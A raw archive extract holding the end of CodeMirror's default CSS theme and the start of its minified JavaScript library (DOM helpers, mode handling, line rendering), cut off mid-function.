.cm-string-2{color:#f50}.cm-s-default .cm-meta,.cm-s-default
.cm-qualifier{color:#555}.cm-s-default .cm-builtin{color:#30a}.cm-s-default
.cm-bracket{color:#997}.cm-s-default .cm-tag{color:#170}.cm-s-default
.cm-attribute{color:#00c}.cm-s-default .cm-hr{color:#999}.cm-s-default
.cm-link{color:#00c}.cm-invalidchar,.cm-s-default
.cm-error{color:red}.CodeMirror-composing{border-bottom:2px
solid}div.CodeMirror
span.CodeMirror-matchingbracket{color:#0b0}div.CodeMirror
span.CodeMirror-nonmatchingbracket{color:#a22}.CodeMirror-matchingtag{background:rgba(255,150,0,.3)}.CodeMirror-activeline-background{background:#e8f2ff}.CodeMirror{position:relative;overflow:hidden;background:#fff}.CodeMirror-scroll{overflow:scroll!important;margin-bottom:-50px;margin-right:-50px;padding-bottom:50px;height:100%;outline:0;position:relative}.CodeMirror-sizer{position:relative;border-right:50px
solid
transparent}.CodeMirror-gutter-filler,.CodeMirror-hscrollbar,.CodeMirror-scrollbar-filler,.CodeMirror-vscrollbar{position:absolute;z-index:6;display:none}.CodeMirror-vscrollbar{right:0;top:0;overflow-x:hidden;overflow-y:scroll}.CodeMirror-hscrollbar{bottom:0;left:0;overflow-y:hidden;overflow-x:scroll}.CodeMirror-scrollbar-filler{right:0;bottom:0}.CodeMirror-gutter-filler{left:0;bottom:0}.CodeMirror-gutters{position:absolute;left:0;top:0;min-height:100%;z-index:3}.CodeMirror-gutter{white-space:normal;height:100%;display:inline-block;vertical-align:top;margin-bottom:-50px}.CodeMirror-gutter-wrapper{position:absolute;z-index:4;background:0
0!important;border:none!important}.CodeMirror-gutter-background{position:absolute;top:0;bottom:0;z-index:4}.CodeMirror-gutter-elt{position:absolute;cursor:default;z-index:4}.CodeMirror-gutter-wrapper
::selection{background-color:transparent}.CodeMirror-gutter-wrapper
::-moz-selection{background-color:transparent}.CodeMirror-lines{cursor:text;min-height:1px}.CodeMirror
pre.CodeMirror-line,.CodeMirror
pre.CodeMirror-line-like{-moz-border-radius:0;-webkit-border-radius:0;border-radius:0;border-width:0;background:0
0;font-family:inherit;font-size:inherit;margin:0;white-space:pre;word-wrap:normal;line-height:inherit;color:inherit;z-index:2;position:relative;overflow:visible;-webkit-tap-highlight-color:transparent;-webkit-font-variant-ligatures:contextual;font-variant-ligatures:contextual}.CodeMirror-wrap
pre.CodeMirror-line,.CodeMirror-wrap
pre.CodeMirror-line-like{word-wrap:break-word;white-space:pre-wrap;word-break:normal}.CodeMirror-linebackground{position:absolute;left:0;right:0;top:0;bottom:0;z-index:0}.CodeMirror-linewidget{position:relative;z-index:2;padding:.1px}.CodeMirror-rtl
pre{direction:rtl}.CodeMirror-code{outline:0}.CodeMirror-gutter,.CodeMirror-gutters,.CodeMirror-linenumber,.CodeMirror-scroll,.CodeMirror-sizer{-moz-box-sizing:content-box;box-sizing:content-box}.CodeMirror-measure{position:absolute;width:100%;height:0;overflow:hidden;visibility:hidden}.CodeMirror-cursor{position:absolute;pointer-events:none}.CodeMirror-measure
pre{position:static}div.CodeMirror-cursors{visibility:hidden;position:relative;z-index:3}.CodeMirror-focused
div.CodeMirror-cursors,div.CodeMirror-dragcursors{visibility:visible}.CodeMirror-selected{background:#d9d9d9}.CodeMirror-focused
.CodeMirror-selected{background:#d7d4f0}.CodeMirror-crosshair{cursor:crosshair}.CodeMirror-line::selection,.CodeMirror-line>span::selection,.CodeMirror-line>span>span::selection{background:#d7d4f0}.CodeMirror-line::-moz-selection,.CodeMirror-line>span::-moz-selection,.CodeMirror-line>span>span::-moz-selection{background:#d7d4f0}.cm-searching{background-color:#ffa;background-color:rgba(255,255,0,.4)}.cm-force-border{padding-right:.1px}@media
print{.CodeMirror
div.CodeMirror-cursors{visibility:hidden}}.cm-tab-wrap-hack:after{content:''}span.CodeMirror-selectedtext{background:0
0}PKA��[�t�@m�m�
codemirror/lib/codemirror.min.jsnu�[���!(function(a,b){"object"==typeof
exports&&"undefined"!=typeof
module?module.exports=b():"function"==typeof
define&&define.amd?define(b):(a=a||self,a.CodeMirror=b())})(this,(function(){"use
strict";function a(a){return new
RegExp("(^|\\s)"+a+"(?:$|\\s)\\s*")}function
b(a){for(var
b=a.childNodes.length;b>0;--b)a.removeChild(a.firstChild);return
a}function c(a,c){return b(a).appendChild(c)}function d(a,b,c,d){var
e=document.createElement(a);if(c&&(e.className=c),d&&(e.style.cssText=d),"string"==typeof
b)e.appendChild(document.createTextNode(b));else if(b)for(var
f=0;f<b.length;++f)e.appendChild(b[f]);return e}function e(a,b,c,e){var
f=d(a,b,c,e);return
f.setAttribute("role","presentation"),f}function
f(a,b){if(3==b.nodeType&&(b=b.parentNode),a.contains)return
a.contains(b);do{if(11==b.nodeType&&(b=b.host),b==a)return!0}while(b=b.parentNode)}function
g(){var
a;try{a=document.activeElement}catch(b){a=document.body||null}for(;a&&a.shadowRoot&&a.shadowRoot.activeElement;)a=a.shadowRoot.activeElement;return
a}function h(b,c){var d=b.className;a(c).test(d)||(b.className+=(d?"
":"")+c)}function i(b,c){for(var d=b.split("
"),e=0;e<d.length;e++)d[e]&&!a(d[e]).test(c)&&(c+="
"+d[e]);return c}function j(a){var
b=Array.prototype.slice.call(arguments,1);return function(){return
a.apply(null,b)}}function k(a,b,c){b||(b={});for(var d in
a)!a.hasOwnProperty(d)||!1===c&&b.hasOwnProperty(d)||(b[d]=a[d]);return
b}function
l(a,b,c,d,e){null==b&&-1==(b=a.search(/[^\s\u00a0]/))&&(b=a.length);for(var
f=d||0,g=e||0;;){var
h=a.indexOf("\t",f);if(h<0||h>=b)return
g+(b-f);g+=h-f,g+=c-g%c,f=h+1}}function m(a,b){for(var
c=0;c<a.length;++c)if(a[c]==b)return c;return-1}function
n(a,b,c){for(var d=0,e=0;;){var
f=a.indexOf("\t",d);-1==f&&(f=a.length);var
g=f-d;if(f==a.length||e+g>=b)return
d+Math.min(g,b-e);if(e+=f-d,e+=c-e%c,d=f+1,e>=b)return d}}function
o(a){for(;Vg.length<=a;)Vg.push(p(Vg)+" ");return
Vg[a]}function p(a){return a[a.length-1]}function q(a,b){for(var
c=[],d=0;d<a.length;d++)c[d]=b(a[d],d);return c}function
r(a,b,c){for(var
d=0,e=c(b);d<a.length&&c(a[d])<=e;)d++;a.splice(d,0,b)}function
s(){}function t(a,b){var c;return
Object.create?c=Object.create(a):(s.prototype=a,c=new
s),b&&k(b,c),c}function
u(a){return/\w/.test(a)||a>"€"&&(a.toUpperCase()!=a.toLowerCase()||Wg.test(a))}function
v(a,b){return
b?!!(b.source.indexOf("\\w")>-1&&u(a))||b.test(a):u(a)}function
w(a){for(var b in
a)if(a.hasOwnProperty(b)&&a[b])return!1;return!0}function
x(a){return a.charCodeAt(0)>=768&&Xg.test(a)}function
y(a,b,c){for(;(c<0?b>0:b<a.length)&&x(a.charAt(b));)b+=c;return
b}function z(a,b,c){for(var d=b>c?-1:1;;){if(b==c)return b;var
e=(b+c)/2,f=d<0?Math.ceil(e):Math.floor(e);if(f==b)return
a(f)?b:c;a(f)?c=f:b=f+d}}function A(a,b,c,d){if(!a)return
d(b,c,"ltr",0);for(var e=!1,f=0;f<a.length;++f){var
g=a[f];(g.from<c&&g.to>b||b==c&&g.to==b)&&(d(Math.max(g.from,b),Math.min(g.to,c),1==g.level?"rtl":"ltr",f),e=!0)}e||d(b,c,"ltr")}function
B(a,b,c){var d;Yg=null;for(var e=0;e<a.length;++e){var
f=a[e];if(f.from<b&&f.to>b)return
e;f.to==b&&(f.from!=f.to&&"before"==c?d=e:Yg=e),f.from==b&&(f.from!=f.to&&"before"!=c?d=e:Yg=e)}return
null!=d?d:Yg}function C(a,b){var c=a.order;return
null==c&&(c=a.order=Zg(a.text,b)),c}function D(a,b){return
a._handlers&&a._handlers[b]||$g}function
E(a,b,c){if(a.removeEventListener)a.removeEventListener(b,c,!1);else
if(a.detachEvent)a.detachEvent("on"+b,c);else{var
d=a._handlers,e=d&&d[b];if(e){var
f=m(e,c);f>-1&&(d[b]=e.slice(0,f).concat(e.slice(f+1)))}}}function
F(a,b){var c=D(a,b);if(c.length)for(var
d=Array.prototype.slice.call(arguments,2),e=0;e<c.length;++e)c[e].apply(null,d)}function
G(a,b,c){return"string"==typeof
b&&(b={type:b,preventDefault:function(){this.defaultPrevented=!0}}),F(a,c||b.type,a,b),M(b)||b.codemirrorIgnore}function
H(a){var b=a._handlers&&a._handlers.cursorActivity;if(b)for(var
c=a.curOp.cursorActivityHandlers||(a.curOp.cursorActivityHandlers=[]),d=0;d<b.length;++d)-1==m(c,b[d])&&c.push(b[d])}function
I(a,b){return D(a,b).length>0}function
J(a){a.prototype.on=function(a,b){_g(this,a,b)},a.prototype.off=function(a,b){E(this,a,b)}}function
K(a){a.preventDefault?a.preventDefault():a.returnValue=!1}function
L(a){a.stopPropagation?a.stopPropagation():a.cancelBubble=!0}function
M(a){return
null!=a.defaultPrevented?a.defaultPrevented:0==a.returnValue}function
N(a){K(a),L(a)}function O(a){return a.target||a.srcElement}function
P(a){var b=a.which;return
null==b&&(1&a.button?b=1:2&a.button?b=3:4&a.button&&(b=2)),Eg&&a.ctrlKey&&1==b&&(b=3),b}function
Q(a){if(null==Og){var
b=d("span","​");c(a,d("span",[b,document.createTextNode("x")])),0!=a.firstChild.offsetHeight&&(Og=b.offsetWidth<=1&&b.offsetHeight>2&&!(sg&&tg<8))}var
e=Og?d("span","​"):d("span"," ",null,"display:
inline-block; width: 1px; margin-right: -1px");return
e.setAttribute("cm-text",""),e}function
R(a){if(null!=Pg)return Pg;var
d=c(a,document.createTextNode("AخA")),e=Ig(d,0,1).getBoundingClientRect(),f=Ig(d,1,2).getBoundingClientRect();return
b(a),!(!e||e.left==e.right)&&(Pg=f.right-e.right<3)}function
S(a){if(null!=eh)return eh;var
b=c(a,d("span","x")),e=b.getBoundingClientRect(),f=Ig(b,0,1).getBoundingClientRect();return
eh=Math.abs(e.left-f.left)>1}function
T(a,b){arguments.length>2&&(b.dependencies=Array.prototype.slice.call(arguments,2)),fh[a]=b}function
U(a,b){gh[a]=b}function V(a){if("string"==typeof
a&&gh.hasOwnProperty(a))a=gh[a];else
if(a&&"string"==typeof
a.name&&gh.hasOwnProperty(a.name)){var
b=gh[a.name];"string"==typeof
b&&(b={name:b}),a=t(b,a),a.name=b.name}else{if("string"==typeof
a&&/^[\w\-]+\/[\w\-]+\+xml$/.test(a))return
V("application/xml");if("string"==typeof
a&&/^[\w\-]+\/[\w\-]+\+json$/.test(a))return
V("application/json")}return"string"==typeof
a?{name:a}:a||{name:"null"}}function W(a,b){b=V(b);var
c=fh[b.name];if(!c)return W(a,"text/plain");var
d=c(a,b);if(hh.hasOwnProperty(b.name)){var e=hh[b.name];for(var f in
e)e.hasOwnProperty(f)&&(d.hasOwnProperty(f)&&(d["_"+f]=d[f]),d[f]=e[f])}if(d.name=b.name,b.helperType&&(d.helperType=b.helperType),b.modeProps)for(var
g in b.modeProps)d[g]=b.modeProps[g];return d}function
X(a,b){k(b,hh.hasOwnProperty(a)?hh[a]:hh[a]={})}function
Y(a,b){if(!0===b)return b;if(a.copyState)return a.copyState(b);var
c={};for(var d in b){var e=b[d];e instanceof
Array&&(e=e.concat([])),c[d]=e}return c}function Z(a,b){for(var
c;a.innerMode&&(c=a.innerMode(b))&&c.mode!=a;)b=c.state,a=c.mode;return
c||{mode:a,state:b}}function
$(a,b,c){return!a.startState||a.startState(b,c)}function
_(a,b){if((b-=a.first)<0||b>=a.size)throw new Error("There is no
line "+(b+a.first)+" in the document.");for(var
c=a;!c.lines;)for(var d=0;;++d){var
e=c.children[d],f=e.chunkSize();if(b<f){c=e;break}b-=f}return
c.lines[b]}function aa(a,b,c){var d=[],e=b.line;return
a.iter(b.line,c.line+1,(function(a){var
f=a.text;e==c.line&&(f=f.slice(0,c.ch)),e==b.line&&(f=f.slice(b.ch)),d.push(f),++e})),d}function
ba(a,b,c){var d=[];return
a.iter(b,c,(function(a){d.push(a.text)})),d}function ca(a,b){var
c=b-a.height;if(c)for(var d=a;d;d=d.parent)d.height+=c}function
da(a){if(null==a.parent)return null;for(var
b=a.parent,c=m(b.lines,a),d=b.parent;d;b=d,d=d.parent)for(var
e=0;d.children[e]!=b;++e)c+=d.children[e].chunkSize();return
c+b.first}function ea(a,b){var c=a.first;a:do{for(var
d=0;d<a.children.length;++d){var
e=a.children[d],f=e.height;if(b<f){a=e;continue
a}b-=f,c+=e.chunkSize()}return c}while(!a.lines);for(var
g=0;g<a.lines.length;++g){var
h=a.lines[g],i=h.height;if(b<i)break;b-=i}return c+g}function
fa(a,b){return b>=a.first&&b<a.first+a.size}function
ga(a,b){return String(a.lineNumberFormatter(b+a.firstLineNumber))}function
ha(a,b,c){if(void 0===c&&(c=null),!(this instanceof ha))return new
ha(a,b,c);this.line=a,this.ch=b,this.sticky=c}function ia(a,b){return
a.line-b.line||a.ch-b.ch}function ja(a,b){return
a.sticky==b.sticky&&0==ia(a,b)}function ka(a){return
ha(a.line,a.ch)}function la(a,b){return ia(a,b)<0?b:a}function
ma(a,b){return ia(a,b)<0?a:b}function na(a,b){return
Math.max(a.first,Math.min(b,a.first+a.size-1))}function
oa(a,b){if(b.line<a.first)return ha(a.first,0);var
c=a.first+a.size-1;return
b.line>c?ha(c,_(a,c).text.length):pa(b,_(a,b.line).text.length)}function
pa(a,b){var c=a.ch;return
null==c||c>b?ha(a.line,b):c<0?ha(a.line,0):a}function qa(a,b){for(var
c=[],d=0;d<b.length;d++)c[d]=oa(a,b[d]);return c}function
ra(a,b,c,d){var
e=[a.state.modeGen],f={};za(a,b.text,a.doc.mode,c,(function(a,b){return
e.push(a,b)}),f,d);for(var
g=c.state,h=0;h<a.state.overlays.length;++h)!(function(d){c.baseTokens=e;var
h=a.state.overlays[d],i=1,j=0;c.state=!0,za(a,b.text,h.mode,c,(function(a,b){for(var
c=i;j<a;){var
d=e[i];d>a&&e.splice(i,1,a,e[i+1],d),i+=2,j=Math.min(a,d)}if(b)if(h.opaque)e.splice(c,i-c,a,"overlay
"+b),i=c+2;else for(;c<i;c+=2){var f=e[c+1];e[c+1]=(f?f+"
":"")+"overlay
"+b}}),f),c.state=g,c.baseTokens=null,c.baseTokenPos=1})(h);return{styles:e,classes:f.bgClass||f.textClass?f:null}}function
sa(a,b,c){if(!b.styles||b.styles[0]!=a.state.modeGen){var
d=ta(a,da(b)),e=b.text.length>a.options.maxHighlightLength&&Y(a.doc.mode,d.state),f=ra(a,b,d);e&&(d.state=e),b.stateAfter=d.save(!e),b.styles=f.styles,f.classes?b.styleClasses=f.classes:b.styleClasses&&(b.styleClasses=null),c===a.doc.highlightFrontier&&(a.doc.modeFrontier=Math.max(a.doc.modeFrontier,++a.doc.highlightFrontier))}return
b.styles}function ta(a,b,c){var
d=a.doc,e=a.display;if(!d.mode.startState)return new kh(d,!0,b);var
f=Aa(a,b,c),g=f>d.first&&_(d,f-1).stateAfter,h=g?kh.fromSaved(d,g,f):new
kh(d,$(d.mode),f);return d.iter(f,b,(function(c){ua(a,c.text,h);var
d=h.line;c.stateAfter=d==b-1||d%5==0||d>=e.viewFrom&&d<e.viewTo?h.save():null,h.nextLine()})),c&&(d.modeFrontier=h.line),h}function
ua(a,b,c,d){var e=a.doc.mode,f=new
ih(b,a.options.tabSize,c);for(f.start=f.pos=d||0,""==b&&va(e,c.state);!f.eol();)wa(e,f,c.state),f.start=f.pos}function
va(a,b){if(a.blankLine)return a.blankLine(b);if(a.innerMode){var
c=Z(a,b);return c.mode.blankLine?c.mode.blankLine(c.state):void 0}}function
wa(a,b,c,d){for(var e=0;e<10;e++){d&&(d[0]=Z(a,c).mode);var
f=a.token(b,c);if(b.pos>b.start)return f}throw new Error("Mode
"+a.name+" failed to advance stream.")}function
xa(a,b,c,d){var e,f=a.doc,g=f.mode;b=oa(f,b);var
h,i=_(f,b.line),j=ta(a,b.line,c),k=new
ih(i.text,a.options.tabSize,j);for(d&&(h=[]);(d||k.pos<b.ch)&&!k.eol();)k.start=k.pos,e=wa(g,k,j.state),d&&h.push(new
lh(k,e,Y(f.mode,j.state)));return d?h:new lh(k,e,j.state)}function
ya(a,b){if(a)for(;;){var
c=a.match(/(?:^|\s+)line-(background-)?(\S+)/);if(!c)break;a=a.slice(0,c.index)+a.slice(c.index+c[0].length);var
d=c[1]?"bgClass":"textClass";null==b[d]?b[d]=c[2]:new
RegExp("(?:^|\\s)"+c[2]+"(?:$|\\s)").test(b[d])||(b[d]+="
"+c[2])}return a}function za(a,b,c,d,e,f,g){var
h=c.flattenSpans;null==h&&(h=a.options.flattenSpans);var
i,j=0,k=null,l=new
ih(b,a.options.tabSize,d),m=a.options.addModeClass&&[null];for(""==b&&ya(va(c,d.state),f);!l.eol();){if(l.pos>a.options.maxHighlightLength?(h=!1,g&&ua(a,b,d,l.pos),l.pos=b.length,i=null):i=ya(wa(c,l,d.state,m),f),m){var
n=m[0].name;n&&(i="m-"+(i?n+"
"+i:n))}if(!h||k!=i){for(;j<l.start;)j=Math.min(l.start,j+5e3),e(j,k);k=i}l.start=l.pos}for(;j<l.pos;){var
o=Math.min(l.pos,j+5e3);e(o,k),j=o}}function Aa(a,b,c){for(var
d,e,f=a.doc,g=c?-1:b-(a.doc.mode.innerMode?1e3:100),h=b;h>g;--h){if(h<=f.first)return
f.first;var i=_(f,h-1),j=i.stateAfter;if(j&&(!c||h+(j instanceof
jh?j.lookAhead:0)<=f.modeFrontier))return h;var
k=l(i.text,null,a.options.tabSize);(null==e||d>k)&&(e=h-1,d=k)}return
e}function
Ba(a,b){if(a.modeFrontier=Math.min(a.modeFrontier,b),!(a.highlightFrontier<b-10)){for(var
c=a.first,d=b-1;d>c;d--){var e=_(a,d).stateAfter;if(e&&(!(e
instanceof
jh)||d+e.lookAhead<b)){c=d+1;break}}a.highlightFrontier=Math.min(a.highlightFrontier,c)}}function
Ca(){mh=!0}function Da(){nh=!0}function
Ea(a,b,c){this.marker=a,this.from=b,this.to=c}function Fa(a,b){if(a)for(var
c=0;c<a.length;++c){var d=a[c];if(d.marker==b)return d}}function
Ga(a,b){for(var
c,d=0;d<a.length;++d)a[d]!=b&&(c||(c=[])).push(a[d]);return
c}function
Ha(a,b){a.markedSpans=a.markedSpans?a.markedSpans.concat([b]):[b],b.marker.attachLine(a)}function
Ia(a,b,c){var d;if(a)for(var e=0;e<a.length;++e){var
f=a[e],g=f.marker,h=null==f.from||(g.inclusiveLeft?f.from<=b:f.from<b);if(h||f.from==b&&"bookmark"==g.type&&(!c||!f.marker.insertLeft)){var
i=null==f.to||(g.inclusiveRight?f.to>=b:f.to>b);(d||(d=[])).push(new
Ea(g,f.from,i?null:f.to))}}return d}function Ja(a,b,c){var d;if(a)for(var
e=0;e<a.length;++e){var
f=a[e],g=f.marker,h=null==f.to||(g.inclusiveRight?f.to>=b:f.to>b);if(h||f.from==b&&"bookmark"==g.type&&(!c||f.marker.insertLeft)){var
i=null==f.from||(g.inclusiveLeft?f.from<=b:f.from<b);(d||(d=[])).push(new
Ea(g,i?null:f.from-b,null==f.to?null:f.to-b))}}return d}function
Ka(a,b){if(b.full)return null;var
c=fa(a,b.from.line)&&_(a,b.from.line).markedSpans,d=fa(a,b.to.line)&&_(a,b.to.line).markedSpans;if(!c&&!d)return
null;var
e=b.from.ch,f=b.to.ch,g=0==ia(b.from,b.to),h=Ia(c,e,g),i=Ja(d,f,g),j=1==b.text.length,k=p(b.text).length+(j?e:0);if(h)for(var
l=0;l<h.length;++l){var m=h[l];if(null==m.to){var
n=Fa(i,m.marker);n?j&&(m.to=null==n.to?null:n.to+k):m.to=e}}if(i)for(var
o=0;o<i.length;++o){var
q=i[o];if(null!=q.to&&(q.to+=k),null==q.from){var
r=Fa(h,q.marker);r||(q.from=k,j&&(h||(h=[])).push(q))}else
q.from+=k,j&&(h||(h=[])).push(q)}h&&(h=La(h)),i&&i!=h&&(i=La(i));var
s=[h];if(!j){var t,u=b.text.length-2;if(u>0&&h)for(var
v=0;v<h.length;++v)null==h[v].to&&(t||(t=[])).push(new
Ea(h[v].marker,null,null));for(var
w=0;w<u;++w)s.push(t);s.push(i)}return s}function La(a){for(var
b=0;b<a.length;++b){var
c=a[b];null!=c.from&&c.from==c.to&&!1!==c.marker.clearWhenEmpty&&a.splice(b--,1)}return
a.length?a:null}function Ma(a,b,c){var
d=null;if(a.iter(b.line,c.line+1,(function(a){if(a.markedSpans)for(var
b=0;b<a.markedSpans.length;++b){var
c=a.markedSpans[b].marker;!c.readOnly||d&&-1!=m(d,c)||(d||(d=[])).push(c)}})),!d)return
null;for(var e=[{from:b,to:c}],f=0;f<d.length;++f)for(var
g=d[f],h=g.find(0),i=0;i<e.length;++i){var
j=e[i];if(!(ia(j.to,h.from)<0||ia(j.from,h.to)>0)){var
k=[i,1],l=ia(j.from,h.from),n=ia(j.to,h.to);(l<0||!g.inclusiveLeft&&!l)&&k.push({from:j.from,to:h.from}),(n>0||!g.inclusiveRight&&!n)&&k.push({from:h.to,to:j.to}),e.splice.apply(e,k),i+=k.length-3}}return
e}function Na(a){var b=a.markedSpans;if(b){for(var
c=0;c<b.length;++c)b[c].marker.detachLine(a);a.markedSpans=null}}function
Oa(a,b){if(b){for(var
c=0;c<b.length;++c)b[c].marker.attachLine(a);a.markedSpans=b}}function
Pa(a){return a.inclusiveLeft?-1:0}function Qa(a){return
a.inclusiveRight?1:0}function Ra(a,b){var
c=a.lines.length-b.lines.length;if(0!=c)return c;var
d=a.find(),e=b.find(),f=ia(d.from,e.from)||Pa(a)-Pa(b);if(f)return-f;var
g=ia(d.to,e.to)||Qa(a)-Qa(b);return g||b.id-a.id}function Sa(a,b){var
c,d=nh&&a.markedSpans;if(d)for(var e=void
0,f=0;f<d.length;++f)e=d[f],e.marker.collapsed&&null==(b?e.from:e.to)&&(!c||Ra(c,e.marker)<0)&&(c=e.marker);return
c}function Ta(a){return Sa(a,!0)}function Ua(a){return Sa(a,!1)}function
Va(a,b){var c,d=nh&&a.markedSpans;if(d)for(var
e=0;e<d.length;++e){var
f=d[e];f.marker.collapsed&&(null==f.from||f.from<b)&&(null==f.to||f.to>b)&&(!c||Ra(c,f.marker)<0)&&(c=f.marker)}return
c}function Wa(a,b,c,d,e){var
f=_(a,b),g=nh&&f.markedSpans;if(g)for(var
h=0;h<g.length;++h){var i=g[h];if(i.marker.collapsed){var
j=i.marker.find(0),k=ia(j.from,c)||Pa(i.marker)-Pa(e),l=ia(j.to,d)||Qa(i.marker)-Qa(e);if(!(k>=0&&l<=0||k<=0&&l>=0)&&(k<=0&&(i.marker.inclusiveRight&&e.inclusiveLeft?ia(j.to,c)>=0:ia(j.to,c)>0)||k>=0&&(i.marker.inclusiveRight&&e.inclusiveLeft?ia(j.from,d)<=0:ia(j.from,d)<0)))return!0}}}function
Xa(a){for(var b;b=Ta(a);)a=b.find(-1,!0).line;return a}function
Ya(a){for(var b;b=Ua(a);)a=b.find(1,!0).line;return a}function
Za(a){for(var b,c;b=Ua(a);)a=b.find(1,!0).line,(c||(c=[])).push(a);return
c}function $a(a,b){var c=_(a,b),d=Xa(c);return c==d?b:da(d)}function
_a(a,b){if(b>a.lastLine())return b;var c,d=_(a,b);if(!ab(a,d))return
b;for(;c=Ua(d);)d=c.find(1,!0).line;return da(d)+1}function ab(a,b){var
c=nh&&b.markedSpans;if(c)for(var d=void
0,e=0;e<c.length;++e)if(d=c[e],d.marker.collapsed){if(null==d.from)return!0;if(!d.marker.widgetNode&&0==d.from&&d.marker.inclusiveLeft&&bb(a,b,d))return!0}}function
bb(a,b,c){if(null==c.to){var d=c.marker.find(1,!0);return
bb(a,d.line,Fa(d.line.markedSpans,c.marker))}if(c.marker.inclusiveRight&&c.to==b.text.length)return!0;for(var
e=void
0,f=0;f<b.markedSpans.length;++f)if(e=b.markedSpans[f],e.marker.collapsed&&!e.marker.widgetNode&&e.from==c.to&&(null==e.to||e.to!=c.from)&&(e.marker.inclusiveLeft||c.marker.inclusiveRight)&&bb(a,b,e))return!0}function
cb(a){a=Xa(a);for(var b=0,c=a.parent,d=0;d<c.lines.length;++d){var
e=c.lines[d];if(e==a)break;b+=e.height}for(var
f=c.parent;f;c=f,f=c.parent)for(var g=0;g<f.children.length;++g){var
h=f.children[g];if(h==c)break;b+=h.height}return b}function
db(a){if(0==a.height)return 0;for(var b,c=a.text.length,d=a;b=Ta(d);){var
e=b.find(0,!0);d=e.from.line,c+=e.from.ch-e.to.ch}for(d=a;b=Ua(d);){var
f=b.find(0,!0);c-=d.text.length-f.from.ch,d=f.to.line,c+=d.text.length-f.to.ch}return
c}function eb(a){var
b=a.display,c=a.doc;b.maxLine=_(c,c.first),b.maxLineLength=db(b.maxLine),b.maxLineChanged=!0,c.iter((function(a){var
c=db(a);c>b.maxLineLength&&(b.maxLineLength=c,b.maxLine=a)}))}function
fb(a,b,c,d){a.text=b,a.stateAfter&&(a.stateAfter=null),a.styles&&(a.styles=null),null!=a.order&&(a.order=null),Na(a),Oa(a,c);var
e=d?d(a):1;e!=a.height&&ca(a,e)}function
gb(a){a.parent=null,Na(a)}function hb(a,b){if(!a||/^\s*$/.test(a))return
null;var c=b.addModeClass?rh:qh;return
c[a]||(c[a]=a.replace(/\S+/g,"cm-$&"))}function ib(a,b){var
c=e("span",null,null,ug?"padding-right:
.1px":null),d={pre:e("pre",[c],"CodeMirror-line"),content:c,col:0,pos:0,cm:a,trailingSpace:!1,splitSpaces:a.getOption("lineWrapping")};b.measure={};for(var
f=0;f<=(b.rest?b.rest.length:0);f++){var g=f?b.rest[f-1]:b.line,h=void
0;d.pos=0,d.addToken=kb,R(a.display.measure)&&(h=C(g,a.doc.direction))&&(d.addToken=mb(d.addToken,h)),d.map=[];ob(g,d,sa(a,g,b!=a.display.externalMeasured&&da(g))),g.styleClasses&&(g.styleClasses.bgClass&&(d.bgClass=i(g.styleClasses.bgClass,d.bgClass||"")),g.styleClasses.textClass&&(d.textClass=i(g.styleClasses.textClass,d.textClass||""))),0==d.map.length&&d.map.push(0,0,d.content.appendChild(Q(a.display.measure))),0==f?(b.measure.map=d.map,b.measure.cache={}):((b.measure.maps||(b.measure.maps=[])).push(d.map),(b.measure.caches||(b.measure.caches=[])).push({}))}if(ug){var
j=d.content.lastChild;(/\bcm-tab\b/.test(j.className)||j.querySelector&&j.querySelector(".cm-tab"))&&(d.content.className="cm-tab-wrap-hack")}return
F(a,"renderLine",a,b.line,d.pre),d.pre.className&&(d.textClass=i(d.pre.className,d.textClass||"")),d}function
jb(a){var
b=d("span","•","cm-invalidchar");return
b.title="\\u"+a.charCodeAt(0).toString(16),b.setAttribute("aria-label",b.title),b}function
kb(a,b,c,e,f,g,h){if(b){var
i,j=a.splitSpaces?lb(b,a.trailingSpace):b,k=a.cm.state.specialChars,l=!1;if(k.test(b)){i=document.createDocumentFragment();for(var
m=0;;){k.lastIndex=m;var n=k.exec(b),p=n?n.index-m:b.length-m;if(p){var
q=document.createTextNode(j.slice(m,m+p));sg&&tg<9?i.appendChild(d("span",[q])):i.appendChild(q),a.map.push(a.pos,a.pos+p,q),a.col+=p,a.pos+=p}if(!n)break;m+=p+1;var
r=void 0;if("\t"==n[0]){var
s=a.cm.options.tabSize,t=s-a.col%s;r=i.appendChild(d("span",o(t),"cm-tab")),r.setAttribute("role","presentation"),r.setAttribute("cm-text","\t"),a.col+=t}else"\r"==n[0]||"\n"==n[0]?(r=i.appendChild(d("span","\r"==n[0]?"␍":"␤","cm-invalidchar")),r.setAttribute("cm-text",n[0]),a.col+=1):(r=a.cm.options.specialCharPlaceholder(n[0]),r.setAttribute("cm-text",n[0]),sg&&tg<9?i.appendChild(d("span",[r])):i.appendChild(r),a.col+=1);a.map.push(a.pos,a.pos+1,r),a.pos++}}else
a.col+=b.length,i=document.createTextNode(j),a.map.push(a.pos,a.pos+b.length,i),sg&&tg<9&&(l=!0),a.pos+=b.length;if(a.trailingSpace=32==j.charCodeAt(b.length-1),c||e||f||l||g){var
u=c||"";e&&(u+=e),f&&(u+=f);var
v=d("span",[i],u,g);if(h)for(var w in
h)h.hasOwnProperty(w)&&"style"!=w&&"class"!=w&&v.setAttribute(w,h[w]);return
a.content.appendChild(v)}a.content.appendChild(i)}}function
lb(a,b){if(a.length>1&&!/  /.test(a))return a;for(var
c=b,d="",e=0;e<a.length;e++){var f=a.charAt(e);"
"!=f||!c||e!=a.length-1&&32!=a.charCodeAt(e+1)||(f=" "),d+=f,c="
"==f}return d}function mb(a,b){return
function(c,d,e,f,g,h,i){e=e?e+"
cm-force-border":"cm-force-border";for(var
j=c.pos,k=j+d.length;;){for(var l=void
0,m=0;m<b.length&&(l=b[m],!(l.to>j&&l.from<=j));m++);if(l.to>=k)return
a(c,d,e,f,g,h,i);a(c,d.slice(0,l.to-j),e,f,null,h,i),f=null,d=d.slice(l.to-j),j=l.to}}}function
nb(a,b,c,d){var
e=!d&&c.widgetNode;e&&a.map.push(a.pos,a.pos+b,e),!d&&a.cm.display.input.needsContentAttribute&&(e||(e=a.content.appendChild(document.createElement("span"))),e.setAttribute("cm-marker",c.id)),e&&(a.cm.display.input.setUneditable(e),a.content.appendChild(e)),a.pos+=b,a.trailingSpace=!1}function
ob(a,b,c){var d=a.markedSpans,e=a.text,f=0;if(d)for(var
g,h,i,j,k,l,m,n=e.length,o=0,p=1,q="",r=0;;){if(r==o){i=j=k=h="",m=null,l=null,r=1/0;for(var
s=[],t=void 0,u=0;u<d.length;++u){var
v=d[u],w=v.marker;if("bookmark"==w.type&&v.from==o&&w.widgetNode)s.push(w);else
if(v.from<=o&&(null==v.to||v.to>o||w.collapsed&&v.to==o&&v.from==o)){if(null!=v.to&&v.to!=o&&r>v.to&&(r=v.to,j=""),w.className&&(i+="
